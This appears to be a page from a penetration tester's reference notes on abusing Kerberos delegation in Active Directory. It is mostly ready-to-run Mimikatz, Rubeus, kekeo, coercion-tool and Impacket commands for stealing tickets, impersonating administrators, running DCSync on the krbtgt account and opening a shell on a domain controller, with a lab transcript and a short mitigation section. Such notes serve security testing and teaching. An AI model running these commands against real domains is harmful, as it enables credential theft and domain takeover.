> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/trustee-and-resource-delegation.md).

# Trustee and Resource Delegation

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

{% embed url="<https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/>" %}

{% embed url="<https://labs.f-secure.com/archive/trust-years-to-earn-seconds-to-break/>" %}

{% embed url="<https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/>" %}

## Delegations

{% embed url="<https://github.com/TheManticoreProject/Delegations>" %}

## ADeleginator

{% embed url="<https://github.com/techspence/ADeleginator>" %}

## NXC

```
nxc ldap 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! --find-delegation
```

<figure><img src="/files/dNqJPKBoaPFDj41Ilyaq" alt=""><figcaption></figcaption></figure>

<https://x.com/al3x_n3ff/status/1857153795949559875?t=3iN0A-aTMN58zD0O7rIIlA&s=03>

## SharpADWS

{% embed url="<https://github.com/wh0amitz/SharpADWS>" %}

## Unconstrained Delegation

**Unconstrained Delegation:** allows the first hop server to request access to any service on any computer in the domain

{% embed url="<http://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-kerberos-unconstrained-delegation.html>" %}

{% embed url="<https://adsecurity.org/?p=1667>" %}

### Discovery

* PowerView

```powershell
Get-DomainComputer -UnConstrained
```

* AD Module

```powershell
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
```

### Compromise the server where unconstrained delegation is enabled

Wait for a DA to connect then

```powershell
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```

### Reuse DA token

```powershell
Invoke-Mimikatz -Command '"kerberos::ptt C:\path\to\[****]-*****-Administrator@krbtgt-DOMAIN.LOCAL.kirbi"'
```

### Trick a high user to connect to a machine with Unconstrained Delegation ? Printer Bug

{% content-ref url="/pages/FPIbdosGSrSHYzhw5i4w" %}
[Misconfiguration](/0xss0rz/pentest/internal-pentest/misconfiguration.md)
{% endcontent-ref %}

{% content-ref url="/pages/cTCsQDwQ23z6bHQN0fbR" %}
[Print Spooler](/0xss0rz/pentest/internal-pentest/print-spooler.md)
{% endcontent-ref %}

{% embed url="<https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn>" %}

{% hint style="success" %}
*Printerbug also works across a Two-way forest trust with TGT Delegation enabled - See* [*Trusts*](/0xss0rz/pentest/internal-pentest/trusts.md)
{% endhint %}

Capture the TGT of `dc$` by using Rubeus on victim server

```powershell
Rubeus.exe monitor /interval:5 /nowrap
```

Printerbug - Run MS-RPRN.exe

{% embed url="<https://github.com/leechristensen/SpoolSample>" %}

{% embed url="<https://github.com/jtmpu/PrecompiledBinaries/blob/master/SpoolSample.exe>" %}

```powershell
MS-RPRN.exe \\dc.domain.local \\vicitm.domain.local

# Victim host
Rubeus.exe monitor /interval:5 /nowrap
```

Or with PetitPotam

{% embed url="<https://github.com/topotam/PetitPotam>" %}

```powershell
.\PetitPotam.exe victim-hostname

# Victim host
Rubeus.exe monitor /interval:5 /nowrap
```

On Linux, use Coercer

{% content-ref url="/pages/3jW53CaRXMUs4f8szugL" %}
[SMB (445, 139) / RPC](/0xss0rz/pentest/protocols/smb-445-139-rpc.md)
{% endcontent-ref %}

ShadowCoerce or DFSCoerce can also be used

{% embed url="<https://github.com/ShutdownRepo/ShadowCoerce>" %}

{% embed url="<https://github.com/Wh04m1001/DFSCoerce>" %}

Copy the base64 encoded TGT and remove extra spaces before use it

```powershell
Rubeus.exe ptt /ticket:<Base64>
```

Or use Invoke-Mimikatz:

```powershell
[IO.File]::WriteAllBytes("C:\AD\Tools\USDC.kirbi",
[Convert]::FromBase64String("ticket_from_Rubeus_monitor"))
Invoke-Mimikatz -Command '"kerberos::ptt C:\path\to\ticket.kirbi"'
```

Run DCSync

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
```

{% content-ref url="/pages/xnKTwmiIoj8HdMcJZAjp" %}
[DCSync](/0xss0rz/pentest/internal-pentest/dcsync.md)
{% endcontent-ref %}

### Mitigation

The following security controls should be implemented to mitigate unconstrained delegation:

* **Ensure computer objects are not configured for unconstrained delegation.** If delegation is required for a computer object, use resource-based constrained delegation instead.
* **Ensure privileged user objects are configured as ‘sensitive and cannot be delegated’.** This can be configured by using the ‘Account is sensitive and cannot be delegated’ option on the user object in Active Directory Users and Computers.
* **Ensure privileged user objects are members of the** [**Protected Users security group**](https://learn.microsoft.com/en-au/windows-server/security/credentials-protection-and-management/protected-users-security-group)**.** Members of this security group cannot be delegated.
* **Disable the Print Spooler service on Domain Controllers.** This prevents the Print Spooler service from being used to coerce a Domain Controller into authenticating to another system.

<https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-hardening/detecting-and-mitigating-active-directory-compromises?s=03>

## Constrained Delegation - Protocol Transition

**Constrained Delegation:** allows the first hop server to request access only to specified computers

**Service for User (S4U)** used to impersonate a user

**S4U2self:** allows a forwardable TGS to itself on behalf of a user - `TUSTED_TO_AUTHENTICATE_FOR_DELEGATION`

**S4U2proxy:** allows a service to obtain a TGS to a second service on behalf of the user - `msDS-AllowedToDelegateTo` contains a list of SPN to which the token can be forwarded

### Discovery

* PowerView

```powershell
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
```

* AD Module

```powershell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

### Abusing with kekeo

password or NTLM/AES keys required

1. Request a TGT

```powershell
kekeo# tgt::ask /user:victim_user /domain:domain.local /rc4:<ntlm_hash>
```

2. Request a TGS

```powershell
kekeo# tgs::s4u /tgt:<tgt_from_step_1>.kirbi /user:Administrator@domain.local /service:cifs/mssql.domain.LOCAL
```

```powershell
kekeo# tgs::s4u /tgt:<tgt_from_step_1>.kirbi /user:Administrator@domain.local /service:cifs/mssql.domain.LOCAL|HTTP/mssql.domain.LOCAL
```

3. Inject the ticket

```powershell
Invoke-Mimikatz -Command '"kerberos:ptt <tgs_from_step_2>.kirbi"'
```

```powershell
ls \\mssql.domain.local\c$
```

```powershell
Invoke-Command -ScriptBlock{whoami} -ComputerName mssql.domain.local
```

### Abusing with Rubeus

Request TGT and TGS in a single command

```powershell
Rubeus.exe s4u /user:victim_user /aes256:<aes_key> /impersonateuser:Administrator /msdsspn:CIFS/mssql.domain.LOCAL /ptt
```

```powershell
ls \\mssql.domain.local\c$
```

{% hint style="success" %}
*The delegation occurs not only for the specified service but for any service running under the same account. No validation for the SPN specified*
{% endhint %}

With rc4

```powershell
Rubeus.exe s4u /user:appsvc /rc4:<ntlm_hash> /impersonateuser:administrator /msdsspn:CIFS/mssql.domain.local /altservice:HTTP /domain:domain.local /ptt

winrs -r:umssql-hostname cmd.exe
```

### Abusing with kekeo

password or NTLM/AES keys required

1. Request a TGT

```powershell
kekeo# tgt::ask /user:victim_machine_account$ /domain:domain.local /rc4:<ntlm_hash>
```

2. Request a TGS

```powershell
kekeo# tgs::s4u /tgt:<tgt_from_step_1>.kirbi /user:Administrator@domain.local /service:time/dc.domain.LOCAL|ldap/dc.domain.LOCAL
```

3. Inject the ticket

```powershell
Invoke-Mimikatz -Command '"kerberos:ptt <tgs_from_step_2>.kirbi"'
```

```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
```

### Abusing with Rubeus

Request TGT and TGS in a single command

```powershell
Rubeus.exe s4u /user:victim_machine_account$ /aes256:<aes_key> /impersonateuser:Administrator /msdsspn:time/dc.domain.LOCAL /altservice:ldap /ptt
```

```powershell
SafetyKatz.exe "lsadump::dcsync /user:domain\krbtgt" "exit"
```

### Persistence - msDS-AllowedToDelegateTo

{% content-ref url="/pages/tUeIS9njvbJvwoJzaw5v" %}
[Persistence](/0xss0rz/pentest/internal-pentest/persistence.md)
{% endcontent-ref %}

## Resource-based Constrained Delegation

{% embed url="<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd>" %}

Instead of SPNs on `msDS-AllowedToDelegatTo` on the front end service, access is control by a security descriptor of `msDS-AllowedToActOnBehalfOfOtherIdentity` (visible as `PrincipalsAllowedToDelegateToAccount`) on the resource/service

The service administrator can configure this delegation whereas for other type `SeEnableDelagation` privs required - by default only DA

**Two privileges needed to abuse RBCD:**

1. **Write permissions** over the target service
2. Control over an object which as SPN configured (like admin access do a domain joined machine or ability to join a machine to domain - ms-DS- MachineAccountQuota is 10 by default)

### Write Permission

```powershell
Find-InterestingDomainACL | ?{$_.identityreferencename -match 'username'}
```

### Exploit

Configure RBCD

```powershell
$comps = 'computer1$','computer2$'
Set-ADComputer -Identity victim -PrincipalsAllowedToDelegateToAccount $comps
```

Extract AES keys for computerx$

```powershell
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
```

Use the AES key and access vicitm as ANY user we want

```powershell
Rubeus.exe s4u /user:computer1$ /aes256:<aes_key> /msdsspn:http/victim /impersonateuser:administrator /ptt
```

```powershell
winrs -r:victim cmd.exe
```

### With Impacket

<figure><img src="/files/Bp3t7xCk5eUD4HeIEkLZ" alt=""><figcaption></figcaption></figure>

L.BIANCHI\_ADM is a DA

```
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ ./bloodyAD.py --host dc01.domain.htb --dc-ip 10.10.11.45 -d "DOMAIN.HTB" -u user -p 'password' -k add groupMember "DELEGATEDADMINS" "SVC_LDAP"
[+] SVC_LDAP added to DELEGATEDADMINS
                                                                                                                                                                          
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ ./bloodyAD.py --host dc01.domain.htb -d "DOMAIN.HTB" --dc-ip 10.10.11.45 -k set object "SVC_LDAP" servicePrincipalName  -v "cifs/fake"
[+] SVC_LDAP's servicePrincipalName has been updated
                                                                                                                                                                          
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ impacket-getTGT domain.htb/svc_ldap:password -dc-ip dc01.domain.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_ldap.ccache                                                                                                  
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ export KRB5CCNAME=svc_ldap.ccache
                                                                                                                                                                          
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ impacket-getST -spn 'cifs/dc01.domain.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'domain.htb/svc_ldap:password'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.domain.htb@DOMAIN.HTB.ccache
                                                                                                                                                                          
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.domain.htb@DOMAIN.HTB.ccache
                                                                                                                                                              
┌──(kali㉿kali)-[~/Desktop/bloodyAD]
└─$ impacket-wmiexec -k -no-pass DOMAIN.HTB/L.BIANCHI_ADM@dc01.domain.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type Users\Administrator\Desktop\root.txt
```

## Constrained Delegation - Kerberos Only

Leverage RBCD to abuse Kerberos Only configuration

### Enumeration

```powershell
# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -PropertiesmsDS-AllowedToDelegateTo
```

### Create a new machine account

<https://github.com/Kevin-Robertson/Powermad>

```powershell
Powermad.ps1 New-MachineAccount -MachineAccount studentcompX
```

### Configure RBCD

```powershell
# On victim host
Rubeus.exe asktgt /user:victim$ /aes256:<aes_key> /impersonateuser:administrator /domain:domain.local /ptt /nowrap

# With AD Module
Set-ADComputer -Identity victim$ -PrincipalsAllowedToDelegateToAccount studentcompX$ -Verbose
```

### Get TGS

```powershell
# Get hash
Rubeus.exe hash/password:P@ssword@123

Rubeus.exe s4u /impersonateuser:administrator /user:studentcompX$ /rc4:<rc4_hash> /msdsspn:cifs/victim.domain.local /nowrap
```

### Request a new forwardable TGS

```powershell
Rubeus.exe s4u /tgs:<base67_tgs_from_previous_step> /user:victim$ /aes256:<victim$_aes> /msdsspn:cifs/mssql.domain.local /altservice:http /nowrap /ptt

winrs -r:mssql.domain.local cmd.exe
```

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)